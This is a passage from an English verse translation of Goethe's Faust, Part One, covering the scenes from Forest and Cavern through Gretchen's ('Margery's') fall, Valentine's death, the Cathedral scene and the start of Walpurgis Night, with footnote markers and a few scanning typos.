storm-swept forest creaks and groans,\ The giant pine-tree crashes, rending off\ The neighboring boughs and limbs, and with deep roar\ The thundering mountain echoes to its fall,\ To a safe cavern then thou leadest me,\ Showst me myself; and my own bosom's deep\ Mysterious wonders open on my view.\ And when before my sight the moon comes up\ With soft effulgence; from the walls of rock,\ From the damp thicket, slowly float around\ The silvery shadows of a world gone by,\ And temper meditation's sterner joy.\ O! nothing perfect is vouchsafed to man:\ I feel it now! Attendant on this bliss,\ Which brings me ever nearer to the Gods,\ Thou gav'st me the companion, whom I now\ No more can spare, though cold and insolent;\ He makes me hate, despise myself, and turns\ Thy gifts to nothing with a word--a breath.\ He kindles up a wild-fire in my breast,\ Of restless longing for that lovely form.\ Thus from desire I hurry to enjoyment,\ And in enjoyment languish for desire.\ \ _Enter_ MEPHISTOPHELES.\ \ _Mephistopheles_. Will not this life have tired you by and bye?\ I wonder it so long delights you?\ 'Tis well enough for once the thing to try;\ Then off to where a new invites you!\ \ _Faust_. Would thou hadst something else to do,\ That thus to spoil my joy thou burnest.\ \ _Mephistopheles_. Well! well! I'll leave thee, gladly too!--\ Thou dar'st not tell me that in earnest!\ 'Twere no great loss, a fellow such as you,\ So crazy, snappish, and uncivil.\ One has, all day, his hands full, and more too;\ To worm out from him what he'd have one do,\ Or not do, puzzles e'en the very devil.\ \ _Faust_. Now, that I like! That's just the tone!\ Wants thanks for boring me till I'm half dead!\ \ _Mephistopheles_. Poor son of earth, if left alone,\ What sort of life wouldst thou have led?\ How oft, by methods all my own,\ I've chased the cobweb fancies from thy head!\ And but for me, to parts unknown\ Thou from this earth hadst long since fled.\ What dost thou here through cave and crevice groping?\ Why like a hornèd owl sit moping?\ And why from dripping stone, damp moss, and rotten wood\ Here, like a toad, suck in thy food?\ Delicious pastime! Ah, I see,\ Somewhat of Doctor sticks to thee.\ \ _Faust_. What new life-power it gives me, canst thou guess--\ This conversation with the wilderness?\ Ay, couldst thou dream how sweet the employment,\ Thou wouldst be devil enough to grudge me my enjoyment.\ \ _Mephistopheles_. Ay, joy from super-earthly fountains!\ By night and day to lie upon the mountains,\ To clasp in ecstasy both earth and heaven,\ Swelled to a deity by fancy's leaven,\ Pierce, like a nervous thrill, earth's very marrow,\ Feel the whole six days' work for thee too narrow,\ To enjoy, I know not what, in blest elation,\ Then with thy lavish love o'erflow the whole creation.\ Below thy sight the mortal cast,\ And to the glorious vision give at last--\ [_with a gesture_]\ I must not say what termination!\ \ _Faust_. Shame on thee!\ \ _Mephistopheles_. This displeases thee; well, surely,\ Thou hast a right to say \"for shame\" demurely.\ One must not mention that to chaste ears--never,\ Which chaste hearts cannot do without, however.\ And, in one word, I grudge you not the pleasure\ Of lying to yourself in moderate measure;\ But 'twill not hold out long, I know;\ Already thou art fast recoiling,\ And soon, at this rate, wilt be boiling\ With madness or despair and woe.\ Enough of this! Thy sweetheart sits there lonely,\ And all to her is close and drear.\ Her thoughts are on thy image only,\ She holds thee, past all utterance, dear.\ At first thy passion came bounding and rushing\ Like a brooklet o'erflowing with melted snow and rain;\ Into her heart thou hast poured it gushing:\ And now thy brooklet's dry again.\ Methinks, thy woodland throne resigning,\ 'Twould better suit so great a lord\ The poor young monkey to reward\ For all the love with which she's pining.\ She finds the time dismally long;\ Stands at the window, sees the clouds on high\ Over the old town-wall go by.\ \"Were I a little bird!\"[26] so runneth her song\ All the day, half the night long.\ At times she'll be laughing, seldom smile,\ At times wept-out she'll seem,\ Then again tranquil, you'd deem,--\ Lovesick all the while.\ \ _Faust_. Viper! Viper!\ \ _Mephistopheles_ [_aside_]. Ay! and the prey grows riper!\ \ _Faust_. Reprobate! take thee far behind me!\ No more that lovely woman name!\ Bid not desire for her sweet person flame\ Through each half-maddened sense, again to blind me!\ \ _Mephistopheles_. What then's to do? She fancies thou hast flown,\ And more than half she's right, I own.\ \ _Faust_. I'm near her, and, though far away, my word,\ I'd not forget her, lose her; never fear it!\ I envy e'en the body of the Lord,\ Oft as those precious lips of hers draw near it.\ \ _Mephistopheles_. No doubt; and oft my envious thought reposes\ On the twin-pair that feed among the roses.\ \ _Faust_. Out, pimp!\ \ _Mephistopheles_. Well done! Your jeers I find fair game for laughter.\ The God, who made both lad and lass,\ Unwilling for a bungling hand to pass,\ Made opportunity right after.\ But come! fine cause for lamentation!\ Her chamber is your destination,\ And not the grave, I guess.\ \ _Faust_. What are the joys of heaven while her fond arms enfold me?\ O let her kindling bosom hold me!\ Feel I not always her distress?\ The houseless am I not? the unbefriended?\ The monster without aim or rest?\ That, like a cataract, from rock to rock descended\ To the abyss, with maddening greed possest:\ She, on its brink, with childlike thoughts and lowly,--\ Perched on the little Alpine field her cot,--\ This narrow world, so still and holy\ Ensphering, like a heaven, her lot.\ And I, God's hatred daring,\ Could not be content\ The rocks all headlong bearing,\ By me to ruins rent,--\ Her, yea her peace, must I o'erwhelm and bury!\ This victim, hell, to thee was necessary!\ Help me, thou fiend, the pang soon ending!\ What must be, let it quickly be!\ And let her fate upon my head descending,\ Crush, at one blow, both her and me.\ \ _Mephistopheles_. Ha! how it seethes again and glows!\ Go in and comfort her, thou dunce!\ Where such a dolt no outlet sees or knows,\ He thinks he's reached the end at once.\ None but the brave deserve the fair!\ Thou _hast_ had devil enough to make a decent show of.\ For all the world a devil in despair\ Is just the insipidest thing I know of.\ \ \ \ \ MARGERY'S ROOM.\ \ MARGERY [_at the spinning-wheel alone_].\ My heart is heavy,\ My peace is o'er;\ I never--ah! never--\ Shall find it more.\ While him I crave,\ Each place is the grave,\ The world is all\ Turned into gall.\ My wretched brain\ Has lost its wits,\ My wretched sense\ Is all in bits.\ My heart is heavy,\ My peace is o'er;\ I never--ah! never--\ Shall find it more.\ Him only to greet, I\ The street look down,\ Him only to meet, I\ Roam through town.\ His lofty step,\ His noble height,\ His smile of sweetness,\ His eye of might,\ His words of magic,\ Breathing bliss,\ His hand's warm pressure\ And ah! his kiss.\ My heart is heavy,\ My peace is o'er,\ I never--ah! never--\ Shall find it more.\ My bosom yearns\ To behold him again.\ Ah, could I find him\ That best of men!\ I'd tell him then\ How I did miss him,\ And kiss him\ As much as I could,\ Die on his kisses\ I surely should!\ \ \ \ \ MARTHA'S GARDEN.\ \ MARGARET. FAUST.\ \ _Margaret_. Promise me, Henry.\ \ _Faust_. What I can.\ \ _Margaret_. How is it now with thy religion, say?\ I know thou art a dear good man,\ But fear thy thoughts do not run much that way.\ \ _Faust_. Leave that, my child! Enough, thou hast my heart;\ For those I love with life I'd freely part;\ I would not harm a soul, nor of its faith bereave it.\ \ _Margaret_. That's wrong, there's one true faith--one must believe it?\ \ _Faust_. Must one?\ \ _Margaret_. Ah, could I influence thee, dearest!\ The holy sacraments thou scarce reverest.\ \ _Faust_. I honor them.\ \ _Margaret_. But yet without desire.\ Of mass and confession both thou'st long begun to tire.\ Believest thou in God?\ \ _Faust_. My. darling, who engages\ To say, I do believe in God?\ The question put to priests or sages:\ Their answer seems as if it sought\ To mock the asker.\ \ _Margaret_. Then believ'st thou not?\ \ _Faust_. Sweet face, do not misunderstand my thought!\ Who dares express him?\ And who confess him,\ Saying, I do believe?\ A man's heart bearing,\ What man has the daring\ To say: I acknowledge him not?\ The All-enfolder,\ The All-upholder,\ Enfolds, upholds He not\ Thee, me, Himself?\ Upsprings not Heaven's blue arch high o'er thee?\ Underneath thee does not earth stand fast?\ See'st thou not, nightly climbing,\ Tenderly glancing eternal stars?\ Am I not gazing eye to eye on thee?\ Through brain and bosom\ Throngs not all life to thee,\ Weaving in everlasting mystery\ Obscurely, clearly, on all sides of thee?\ Fill with it, to its utmost stretch, thy breast,\ And in the consciousness when thou art wholly blest,\ Then call it what thou wilt,\ Joy! Heart! Love! God!\ I have no name to give it!\ All comes at last to feeling;\ Name is but sound and smoke,\ Beclouding Heaven's warm glow.\ \ _Margaret_. That is all fine and good, I know;\ And just as the priest has often spoke,\ Only with somewhat different phrases.\ \ _Faust_. All hearts, too, in all places,\ Wherever Heaven pours down the day's broad blessing,\ Each in its way the truth is confessing;\ And why not I in mine, too?\ \ _Margaret_. Well, all have a way that they incline to,\ But still there is something wrong with thee;\ Thou hast no Christianity.\ \ _Faust_. Dear child!\ \ _Margaret_. It long has troubled me\ That thou shouldst keep such company.\ \ _Faust_. How so?\ \ _Margaret_. The man whom thou for crony hast,\ Is one whom I with all my soul detest.\ Nothing in all my life has ever\ Stirred up in my heart such a deep disfavor\ As the ugly face that man has got.\ \ _Faust_. Sweet plaything; fear him not!\ \ _Margaret_. His presence stirs my blood, I own.\ I can love almost all men I've ever known;\ But much as thy presence with pleasure thrills me,\ That man with a secret horror fills me.\ And then for a knave I've suspected him long!\ God pardon me, if I do him wrong!\ \ _Faust_. To make up a world such odd sticks are needed.\ \ _Margaret_. Shouldn't like to live in the house where he did!\ Whenever I see him coming in,\ He always wears such a mocking grin.\ Half cold, half grim;\ One sees, that naught has interest for him;\ 'Tis writ on his brow and can't be mistaken,\ No soul in him can love awaken.\ I feel in thy arms so happy, so free,\ I yield myself up so blissfully,\ He comes, and all in me is closed and frozen now.\ \ _Faust_. Ah, thou mistrustful angel, thou!\ \ _Margaret_. This weighs on me so sore,\ That when we meet, and he is by me,\ I feel, as if I loved thee now no more.\ Nor could I ever pray, if he were nigh me,\ That eats the very heart in me;\ Henry, it must be so with thee.\ \ _Faust_. 'Tis an antipathy of thine!\ \ _Margaret_. Farewell!\ \ _Faust_. Ah, can I ne'er recline\ One little hour upon thy bosom, pressing\ My heart to thine and all my soul confessing?\ \ _Margaret_. Ah, if my chamber were alone,\ This night the bolt should give thee free admission;\ But mother wakes at every tone,\ And if she had the least suspicion,\ Heavens! I should die upon the spot!\ \ _Faust_. Thou angel, need of that there's not.\ Here is a flask! Three drops alone\ Mix with her drink, and nature\ Into a deep and pleasant sleep is thrown.\ \ _Margaret_. Refuse thee, what can I, poor creature?\ I hope, of course, it will not harm her!\ \ _Faust_. Would I advise it then, my charmer?\ \ _Margaret_. Best man, when thou dost look at me,\ I know not what, moves me to do thy will;\ I have already done so much for thee,\ Scarce any thing seems left me to fulfil.\ [_Exit_.]\ \ Enter_ MEPHISTOPHELES.\ \ _Mephtftopheles_. The monkey! is she gone?\ \ _Faust_. Hast played the spy again?\ \ _Mephistopheles_. I overheard it all quite fully.\ The Doctor has been well catechized then?\ Hope it will sit well on him truly.\ The maidens won't rest till they know if the men\ Believe as good old custom bids them do.\ They think: if there he yields, he'll follow our will too.\ \ _Faust_. Monster, thou wilt not, canst not see,\ How this true soul that loves so dearly,\ Yet hugs, at every cost,\ The faith which she\ Counts Heaven itself, is horror-struck sincerely\ To think of giving up her dearest man for lost.\ \ _Mephistopheles_. Thou supersensual, sensual wooer,\ A girl by the nose is leading thee.\ \ _Faust_. Abortion vile of fire and sewer!\ \ _Mephistopheles_. In physiognomy, too, her skill is masterly.\ When I am near she feels she knows not how,\ My little mask some secret meaning shows;\ She thinks, I'm certainly a genius, now,\ Perhaps the very devil--who knows?\ To-night then?--\ \ _Faust_. Well, what's that to you?\ \ _Mephistopheles_. I find my pleasure in it, too!\ \ \ \ \ AT THE WELL.\ \ MARGERY _and_ LIZZY _with Pitchers.\ \ _Lizzy_. Hast heard no news of Barbara to-day?\ \ _Margery_. No, not a word. I've not been out much lately.\ \ _Lizzy_. It came to me through Sybill very straightly.\ She's made a fool of herself at last, they say.\ That comes of taking airs!\ \ _Margery_. What meanst thou?\ \ _Lizzy_. Pah!\ She daily eats and drinks for two now.\ \ _Margery_. Ah!\ \ _Lizzy_. It serves the jade right for being so callow.\ How long she's been hanging upon the fellow!\ Such a promenading!\ To fair and dance parading!\ Everywhere as first she must shine,\ He was treating her always with tarts and wine;\ She began to think herself something fine,\ And let her vanity so degrade her\ That she even accepted the presents he made her.\ There was hugging and smacking, and so it went on--\ And lo! and behold! the flower is gone!\ \ _Margery_. Poor thing!\ \ _Lizzy_. Canst any pity for her feel!\ When such as we spun at the wheel,\ Our mothers kept us in-doors after dark;\ While she stood cozy with her spark,\ Or sate on the door-bench, or sauntered round,\ And never an hour too long they found.\ But now her pride may let itself down,\ To do penance at church in the sinner's gown!\ \ _Margery_. He'll certainly take her for his wife.\ \ _Lizzy_. He'd be a fool! A spruce young blade\ Has room enough to ply his trade.\ Besides, he's gone.\ \ _Margery_. Now, that's not fair!\ \ _Lizzy_. If she gets him, her lot'll be hard to bear.\ The boys will tear up her wreath, and what's more,\ We'll strew chopped straw before her door.\ \ [_Exit._]\ \ _Margery [going home]_. Time was when I, too, instead of bewailing,\ Could boldly jeer at a poor girl's failing!\ When my scorn could scarcely find expression\ At hearing of another's transgression!\ How black it seemed! though black as could be,\ It never was black enough for me.\ I blessed my soul, and felt so high,\ And now, myself, in sin I lie!\ Yet--all that led me to it, sure,\ O God! it was so dear, so pure!\ \ \ \ \ DONJON.[27]\ \ [_In a niche a devotional image of the Mater Dolorosa,\ before it pots of flowers._]\ \ MARGERY [_puts fresh flowers into the pots_].\ Ah, hear me,\ Draw kindly near me,\ Mother of sorrows, heal my woe!\ \ Sword-pierced, and stricken\ With pangs that sicken,\ Thou seest thy son's last life-blood flow!\ \ Thy look--thy sighing---\ To God are crying,\ Charged with a son's and mother's woe!\ \ Sad mother!\ What other\ Knows the pangs that eat me to the bone?\ What within my poor heart burneth,\ How it trembleth, how it yearneth,\ Thou canst feel and thou alone!\ \ Go where I will, I never\ Find peace or hope--forever\ Woe, woe and misery!\ \ Alone, when all are sleeping,\ I'm weeping, weeping, weeping,\ My heart is crushed in me.\ \ The pots before my window,\ In the early morning-hours,\ Alas, my tears bedewed them,\ As I plucked for thee these flowers,\ \ When the bright sun good morrow\ In at my window said,\ Already, in my anguish,\ I sate there in my bed.\ \ From shame and death redeem me, oh!\ Draw near me,\ And, pitying, hear me,\ Mother of sorrows, heal my woe!\ \ \ \ \ NIGHT.\ \ _Street before_ MARGERY'S _Door._\ \ \ VALENTINE [_soldier,_ MARGERY'S _brother_].\ \ When at the mess I used to sit,\ Where many a one will show his wit,\ And heard my comrades one and all\ The flower of the sex extol,\ Drowning their praise with bumpers high,\ Leaning upon my elbows, I\ Would hear the braggadocios through,\ And then, when it came my turn, too,\ Would stroke my beard and, smiling, say,\ A brimming bumper in my hand:\ All very decent in their way!\ But is there one, in all the land,\ With my sweet Margy to compare,\ A candle to hold to my sister fair?\ Bravo! Kling! Klang! it echoed round!\ One party cried: 'tis truth he speaks,\ She is the jewel of the sex!\ And the braggarts all in silence were bound.\ And now!--one could pull out his hair with vexation,\ And run up the walls for mortification!--\ Every two-legged creature that goes in breeches\ Can mock me with sneers and stinging speeches!\ And I like a guilty debtor sitting,\ For fear of each casual word am sweating!\ And though I could smash them in my ire,\ I dare not call a soul of them liar.\ \ What's that comes yonder, sneaking along?\ There are two of them there, if I see not wrong.\ Is't he, I'll give him a dose that'll cure him,\ He'll not leave the spot alive, I assure him!\ \ \ FAUST. MEPHISTOPHELES.\ \ _Faust_. How from yon window of the sacristy\ The ever-burning lamp sends up its glimmer,\ And round the edge grows ever dimmer,\ Till in the gloom its flickerings die!\ So in my bosom all is nightlike.\ \ _Mephistopheles_. A starving tom-cat I feel quite like,\ That o'er the fire ladders crawls\ Then softly creeps, ground the walls.\ My aim's quite virtuous ne'ertheless,\ A bit of thievish lust, a bit of wantonness.\ I feel it all my members haunting--\ The glorious Walpurgis night.\ One day--then comes the feast enchanting\ That shall all pinings well requite.\ \ _Faust_. Meanwhile can that the casket be, I wonder,\ I see behind rise glittering yonder.[28]\ \ _Mephistopheles_. Yes, and thou soon shalt have the pleasure\ Of lifting out the precious treasure.\ I lately 'neath the lid did squint,\ Has piles of lion-dollars[29] in't.\ \ _Faust_. But not a jewel? Not a ring?\ To deck my mistress not a trinket?\ \ _Mephistopheles_. I caught a glimpse of some such thing,\ Sort of pearl bracelet I should think it.\ \ _Faust_. That's well! I always like to bear\ Some present when I visit my fair.\ \ _Mephistopheles_. You should not murmur if your fate is,\ To have a bit of pleasure gratis.\ Now, as the stars fill heaven with their bright throng,\ List a fine piece, artistic purely:\ I sing her here a moral song,\ To make a fool of her more surely.\ [_Sings to the guitar_.][30]\ What dost thou here,\ Katrina dear,\ At daybreak drear,\ Before thy lover's chamber?\ Give o'er, give o'er!\ The maid his door\ Lets in, no more\ Goes out a maid--remember!\ \ Take heed! take heed!\ Once done, the deed\ Ye'll rue with speed--\ And then--good night--poor thing--a!\ Though ne'er so fair\ His speech, beware,\ Until you bear\ His ring upon your finger.\ \ _Valentine_ [_comes forward_].\ Whom lur'ft thou here? what prey dost scent?\ Rat-catching[81] offspring of perdition!\ To hell goes first the instrument!\ To hell then follows the musician!\ \ _Mephistopheles_. He 's broken the guitar! to music, then, good-bye, now.\ \ _Valentine_. A game of cracking skulls we'll try now!\ \ _Mephistopbeles_ [_to Faust_]. Never you flinch, Sir Doctor! Brisk!\ Mind every word I say---be wary!\ Stand close by me, out with your whisk!\ Thrust home upon the churl! I'll parry.\ \ _Valentine_. Then parry that!\ \ _Mephistopheles_. Be sure. Why not?\ \ _Valentine_. And that!\ \ _Mephistopheles_. With ease!\ \ _Valentine_. The devil's aid he's got!\ But what is this? My hand's already lame.\ \ _Mephistopheles_ [_to Faust_]. Thrust home!\ \ _Valentine_ [_falls_]. O woe!\ \ _Mephistopheles_. Now is the lubber tame!\ But come! We must be off. I hear a clatter;\ And cries of murder, too, that fast increase.\ I'm an old hand to manage the police,\ But then the penal court's another matter.\ \ _Martha_. Come out! Come out!\ \ _Margery_ [_at the window_]. Bring on a light!\ \ _Martha_ [_as above_]. They swear and scuffle, scream and fight.\ \ _People_. There's one, has got's death-blow!\ \ _Martha_ [_coming out_]. Where are the murderers, have they flown?\ \ _Margery_ [_coming out_]. Who's lying here?\ \ _People_. Thy mother's son.\ \ _Margery_. Almighty God! What woe!\ \ _Valentine_. I'm dying! that is quickly said,\ And even quicklier done.\ Women! Why howl, as if half-dead?\ Come, hear me, every one!\ [_All gather round him_.]\ My Margery, look! Young art thou still,\ But managest thy matters ill,\ Hast not learned out yet quite.\ I say in confidence--think it o'er:\ Thou art just once for all a whore;\ Why, be one, then, outright.\ \ _Margery_. My brother! God! What words to me!\ \ _Valentine_. In this game let our Lord God be!\ That which is done, alas! is done.\ And every thing its course will run.\ With one you secretly begin,\ Presently more of them come in,\ And when a dozen share in thee,\ Thou art the whole town's property.\ \ When shame is born to this world of sorrow,\ The birth is carefully hid from sight,\ And the mysterious veil of night\ To cover her head they borrow;\ Yes, they would gladly stifle the wearer;\ But as she grows and holds herself high,\ She walks uncovered in day's broad eye,\ Though she has not become a whit fairer.\ The uglier her face to sight,\ The more she courts the noonday light.\ \ Already I the time can see\ When all good souls shall shrink from thee,\ Thou prostitute, when thou go'st by them,\ As if a tainted corpse were nigh them.\ Thy heart within thy breast shall quake then,\ When they look thee in the face.\ Shalt wear no gold chain more on thy neck then!\ Shalt stand no more in the holy place!\ No pleasure in point-lace collars take then,\ Nor for the dance thy person deck then!\ But into some dark corner gliding,\ 'Mong beggars and cripples wilt be hiding;\ And even should God thy sin forgive,\ Wilt be curs'd on earth while thou shalt live!\ \ _Martha_. Your soul to the mercy of God surrender!\ Will you add to your load the sin of slander?\ \ _Valentine_. Could I get at thy dried-up frame,\ Vile bawd, so lost to all sense of shame!\ Then might I hope, e'en this side Heaven,\ Richly to find my sins forgiven.\ \ _Margery_. My brother! This is hell to me!\ \ _Valentine_. I tell thee, let these weak tears be!\ When thy last hold of honor broke,\ Thou gav'st my heart the heaviest stroke.\ I'm going home now through the grave\ To God, a soldier and a brave.\ [_Dies_.]\ \ \ \ \ CATHEDRAL.\ \ _Service, Organ, and Singing._\ \ \ [MARGERY _amidst a crowd of people._ EVIL SPIRIT _behind_ MARGERY.]\ \ _Evil Spirit_. How different was it with thee, Margy,\ When, innocent and artless,\ Thou cam'st here to the altar,\ From the well-thumbed little prayer-book,\ Petitions lisping,\ Half full of child's play,\ Half full of Heaven!\ Margy!\ Where are thy thoughts?\ What crime is buried\ Deep within thy heart?\ Prayest thou haply for thy mother, who\ Slept over into long, long pain, on thy account?\ Whose blood upon thy threshold lies?\ --And stirs there not, already\ Beneath thy heart a life\ Tormenting itself and thee\ With bodings of its coming hour?\ \ _Margery_. Woe! Woe!\ Could I rid me of the thoughts,\ Still through my brain backward and forward flitting,\ Against my will!\ \ _Chorus_. Dies irae, dies illa\ Solvet saeclum in favillâ.\ \ [_Organ plays_.]\ \ _Evil Spirit_. Wrath smites thee!\ Hark! the trumpet sounds!\ The graves are trembling!\ And thy heart,\ Made o'er again\ For fiery torments,\ Waking from its ashes\ Starts up!\ \ _Margery_. Would I were hence!\ I feel as if the organ's peal\ My breath were stifling,\ The choral chant\ My heart were melting.\ \ _Chorus_. Judex ergo cum sedebit,\ Quidquid latet apparebit.\ Nil inultum remanebit.\ \ _Margery_. How cramped it feels!\ The walls and pillars\ Imprison me!\ And the arches\ Crush me!--Air!\ \ _Evil Spirit_. What! hide thee! sin and shame\ Will not be hidden!\ Air? Light?\ Woe's thee!\ \ _Chorus_. Quid sum miser tunc dicturus?\ Quem patronum rogaturus?\ Cum vix justus sit securus.\ \ _Evil Spirit_. They turn their faces,\ The glorified, from thee.\ To take thy hand, the pure ones\ Shudder with horror.\ Woe!\ \ _Chorus_. Quid sum miser tunc dicturus?\ \ _Margery_. Neighbor! your phial!--\ [_She swoons._]\ \ \ \ \ WALPURGIS NIGHT.[32]\ \ _Harz Mountains._\ \ _District of Schirke and Elend._\ \ \ FAUST. MEPHISTOPHELES.\ \ _Mephistopheles_. Wouldst thou not like a broomstick, now, to ride on?\ At this rate we are, still, a long way off;\ I'd rather have a good tough goat, by half,\ Than the best legs a man e'er set his pride on.\ \ _Faust_. So long as I've a pair of good fresh legs to stride on,\ Enough for me this knotty staff.\ What use of shortening the way!\ Following the valley's labyrinthine winding,\ Then up this rock a pathway finding,\ From which the spring leaps down in bubbling play,\ That is what spices such a walk, I say!\ Spring through the birch-tree's veins is flowing,\ The very pine is feeling it;\ Should not its influence set our limbs a-glowing?\ \ _Mephistopheles_. I do not feel it, not a bit!\ My wintry blood runs very slowly;\ I wish my path were filled with frost and snow.\ The moon's imperfect disk, how melancholy\ It rises there with red, belated glow,\ And shines so badly, turn where'er one can turn,\ At every step he hits a rock or tree!\ With leave I'll beg a Jack-o'lantern!\ I see one yonder burning merrily.\ Heigh, there! my friend! May I thy aid desire?\ Why waste at such a rate thy fire?\ Come, light us up yon path, good fellow, pray!\ \ _Jack-o'lantern_. Out of respect, I hope I shall be able\ To rein a nature quite unstable;\ We usually take a zigzag way.\ \ _Mephistopheles_. Heigh! heigh! He thinks man's crooked course to travel.\ Go straight ahead, or, by the devil,\ I'll blow your flickering life out with a puff.\ \ _Jack-o'lantern_. You're master of the house, that's plain enough,\ So I'll comply with your desire.\ But see! The mountain's magic-mad to-night,\ And if your guide's to be a Jack-o'lantern's light,\ Strict rectitude you'll scarce require.\ \ FAUST, MEPHISTOPHELES, JACK-O'LANTERN, _in alternate song_.\ \ Spheres of magic, dream, and vision,\ Now, it seems, are opening o'er us.\ For thy credit, use precision!\ Let the way be plain before us\ Through the lengthening desert regions.\ \ See how trees on trees, in legions,\ Hurrying by us, change their places,\ And the bowing crags make faces,\ And the rocks, long noses showing,\ Hear them snoring, hear them blowing![33]\ \ Down through stones, through mosses flowing,\ See the brook and brooklet springing.\ Hear I rustling? hear I singing?\ Love-plaints, sweet and melancholy,\ Voices of those days so holy?\ All our loving, longing, yearning?\ Echo, like a strain returning\ From the olden times, is ringing.\ \ Uhu! Schuhu! Tu-whit! Tu-whit!\ Are the jay, and owl, and pewit\ All awake and loudly calling?\ What goes through the bushes yonder?\ Can it be the Salamander--\ Belly thick and legs a-sprawling?\ Roots and fibres, snake-like, crawling,\ Out from rocky, sandy places,\ Wheresoe'er we turn our faces,\ Stretch enormous fingers round us,\ Here to catch us, there confound us;\ Thick, black knars to life are starting,\ Polypusses'-feelers darting\ At the traveller. Field-mice, swarming,\ Thousand-colored armies forming,\ Scamper on through moss and heather!\ And the glow-worms, in the darkling,\ With their crowded escort sparkling,\ Would confound us altogether.\ \ But to guess I'm vainly trying--\ Are we stopping? are we hieing?\ Round and round us all seems flying,\ Rocks and trees, that make grimaces,\ And the mist-lights of the places\ Ever swelling, multiplying.\ \ _Mephistopheles_. Here's my coat-tail--tightly thumb it!\ We have reached a middle summit,\ Whence one stares to see how shines\ Mammon in the mountain-mines.\ \ _Faust_. How strangely through the dim recesses\ A dreary dawning seems to glow!\ And even down the deep abysses\ Its melancholy quiverings throw!\ Here smoke is boiling, mist exhaling;\ Here from a vapory veil it gleams,\ Then, a fine thread of light, goes trailing,\ Then gushes up in fiery streams.\ The valley, here, you see it follow,\ One mighty flood, with hundred rills,\ And here, pent up in some deep hollow,\ It breaks on all sides down the hills.\ Here, spark-showers, darting up before us,\ Like golden sand-clouds rise and fall.\ But yonder see how blazes o'er us,\ All up and down, the rocky wall!\ \ _Mephistopheles_. Has not Sir Mammon gloriously lighted\ His palace for this festive night?\ Count thyself lucky for the sight:\ I catch e'en now a glimpse of noisy guests invited.\ \ _Faust_. How the mad tempest[34] sweeps the air!\ On cheek and neck the wind-gusts how they flout me.\ \ _Mephistopheles_. Must seize the rock's old ribs and hold on stoutly!\ Else will they hurl thee down the dark abysses there.\ A mist-rain thickens the gloom.\ Hark, how the forests crash and boom!\ Out fly the owls in dread and wonder;\ Splitting their columns asunder,\ Hear it, the evergreen palaces shaking!\ Boughs are twisting and breaking!\ Of stems what a grinding and moaning!\ Of roots what a creaking and groaning!\ In frightful confusion, headlong tumbling,\ They fall, with a sound of thunder rumbling,\ And, through the wreck-piled ravines and abysses,\ The tempest howls and hisses.\ Hearst thou voices high up o'er us?\ Close around us--far before us?\ Through the mountain, all along,\ Swells a torrent of magic song.\ \ _Witches_ [_in chorus_]. The witches go to the Brocken's top,\ The stubble is yellow, and green the crop.\ They gather there at the well-known call,\ Sir Urian[85] sits at the head of all.\ Then on we go o'er stone and stock:\ The witch, she--and--the buck.\ \ _Voice_. Old Baubo comes along, I vow!\ She rides upon a farrow-sow.\ \ _Chorus_. Then honor to whom honor's due!\ Ma'am Baubo ahead! and lead the crew!\ A good fat sow, and ma'am on her back,\ Then follow the witches all in a pack.\ \ _Voice_. Which way didst thou come?\ \ _Voice_. By the Ilsenstein!\ Peeped into an owl's nest, mother of mine!\ What a pair of eyes!\ \ _Voice_. To hell with your flurry!\ Why ride in such hurry!\ \ _Voice_. The hag be confounded!\ My skin flie has wounded!\ \ _Witches_ [_chorus]._ The way is broad, the way is long,\ What means this noisy, crazy throng?\ The broom it scratches, the fork it flicks,\ The child is stifled, the mother breaks.\ \ _Wizards_ [_semi-chorus_]. Like housed-up snails we're creeping on,\ The women all ahead are gone.\ When to the Bad One's house we go,\ She gains a thousand steps, you know.\ \ _The other half_. We take it not precisely so;\ What she in thousand steps can go,\ Make all the haste she ever can,\ 'Tis done in just one leap by man.\ \ _Voice_ [_above_]. Come on, come on, from Felsensee!\ \ _Voices_ [_from below_]. We'd gladly join your airy way.\ For wash and clean us as much as we will,\ We always prove unfruitful still.\ \ _Both chorusses_. The wind is hushed, the star shoots by,\ The moon she hides her sickly eye.\ The whirling, whizzing magic-choir\ Darts forth ten thousand sparks of fire.\ \ _Voice_ [_from below_]. Ho, there! whoa, there!\ \ _Voice_ [_from above_]. Who calls from the rocky cleft below there?\ \ _Voice_ [_below_]. Take me too! take me too!\ Three hundred years I've climbed to you,\ Seeking in vain my mates to come at,\ For I can never reach the summit.\ \ _Both chorusses_. Can ride the besom, the stick can ride,\ Can stride the pitchfork, the goat can stride;\ Who neither will ride to-night, nor can,\ Must be forever a ruined man.\ \ _Half-witch_ [_below_]. I hobble on--I'm out of wind--\ And still they leave me far behind!\ To find peace here in vain I come,\ I get no more than I left at home.\ \ _Chorus of witches_. The witch's salve can never fail,\ A rag will answer for a sail,\ Any trough will do for a ship, that's tight;\ He'll never fly who flies not to-night.\ \ _Both chorusses_. And when the highest peak we round,\ Then lightly graze along the ground,\ And cover the heath, where eye can see,\ With the flower of witch-errantry.\ [_They alight_.]\ \ _Mephistopheles._ What squeezing and pushing, what rustling and hustling!\ What hissing and twirling, what chattering and bustling!\ How it shines and sparkles and burns and stinks!\ A true witch-element, methinks!\ Keep close! or we are parted in two winks.\ Where art thou?\ \ _Faust_ [_in the distance_]. Here!\ \ _Mephistopheles_. What! carried off already?\ Then I must use my house-right.--Steady!\ Room! Squire Voland[36] comes. Sweet people, Clear the ground!\ Here, Doctor, grasp my arm! and, at a single bound;\ Let us escape, while yet 'tis easy;\ E'en for the like of me they're far too crazy.\ See! yonder, something shines with quite peculiar glare,\ And draws me to those bushes mazy.\ Come! come! and let us slip in there.\ \ _Faust_. All-contradicting sprite! To follow thee I'm fated.\ But I must say, thy plan was very bright!\ We seek the Brocken here, on the Walpurgis night,\ Then hold ourselves, when here, completely isolated!\ \ _Mephistopheles_. What motley flames light up the heather!\ A merry club is met together,\ In a small group one's not alone.\ \ _Faust_. I'd rather be up there, I own!\ See! curling smoke and flames right blue!\ To see the Evil One they travel;\ There many a riddle to unravel.\ \ _Mephistopheles_. And tie up many another, too.\ Let the great world there rave and riot,\ We here will house ourselves in quiet.\ The saying has been long well known:\ In the great world one makes a small one of his own.\ I see young witches there quite naked all,\ And old ones who, more prudent, cover.\ For my sake some flight things look over;\ The fun is great, the trouble small.\ I hear them tuning instruments! Curs'd jangle!\ Well! one must learn with such things not to wrangle.\ Come on! Come on! For so it needs must be,\ Thou shalt at once be introduced by me.\ And I new thanks from thee be earning.\ That is no scanty space; what sayst thou, friend?\ Just take a look! thou scarce canst see the end.\ There, in a row, a hundred fires are burning;\ They dance, chat, cook, drink, love; where can be found\ Any thing better, now, the wide world round?\ \ 